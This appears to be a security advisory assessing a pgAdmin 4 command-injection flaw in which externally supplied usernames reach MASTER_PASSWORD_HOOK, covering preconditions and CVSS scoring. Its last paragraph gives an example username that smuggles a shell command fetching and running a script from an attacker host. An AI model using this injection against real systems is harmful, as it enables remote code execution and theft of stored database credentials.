pgAdmin 4 CVE-2026-17347

Exploitation requires three simultaneous non-default conditions: (1) the pgAdmin deployment must have MASTER_PASSWORD_HOOK configured with the %u placeholder - this setting is absent from default pgAdmin installations and must be explicitly added by an administrator; (2) the deployment must use an external authentication source (OAuth2/OIDC claims, Kerberos principal names, or webserver-provided REMOTE_USER headers) rather than pgAdmin's built-in local user database, since pgAdmin validates locally created usernames on registration; and (3) the attacker must be able to control or influence the username value presented to pgAdmin - for example, by self-registering in a permissive OIDC provider, controlling a Kerberos principal with metacharacters, or compromising an upstream auth proxy. Deployments using only pgAdmin-local authentication are entirely unexploitable because usernames are validated at account creation. The attack is network-accessible but AC:H because both the hook configuration and the external-auth dependency must be present simultaneously.

The CVSS 4.0 vector (AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) scores 7.7 (High). AC:H correctly captures the two simultaneous non-default conditions required: MASTER_PASSWORD_HOOK must be configured with %u, and the deployment must use external authentication where the attacker can influence the username claim. PR:L reflects the need for a valid authenticated session, though in external-IdP deployments the attacker may self-register or control the identity presented. EPSS data is absent from available input and cannot be stated. No CISA KEV listing exists, and no confirmed public POC has been identified - however, the publicly available commit diff reveals the exact code delta, making independent reproduction straightforward. For the vast majority of pgAdmin deployments using default local authentication or without the hook configured, real-world risk is zero. For the subset using the hook with external IdP integration, the risk is severe: full OS command execution as the pgAdmin service account, which may hold database credentials, configuration secrets, and host-level access. This is a genuine priority for affected configurations rather than a high-CVSS-but-low-real-risk case.

An attacker who can present an identity to pgAdmin via an external IdP (OAuth2, OIDC, or Kerberos) registers or crafts a username containing shell metacharacters - for example, alice$(curl http://attacker.com/implant.sh|bash) - and authenticates to a pgAdmin instance where MASTER_PASSWORD_HOOK is configured with %u. When pgAdmin calls get_master_password_from_master_hook() to retrieve the encryption key, the injected shell expression executes as the pgAdmin service account OS user. The attacker gains access to all secrets and credentials accessible to that account, including stored PostgreSQL connection passwords.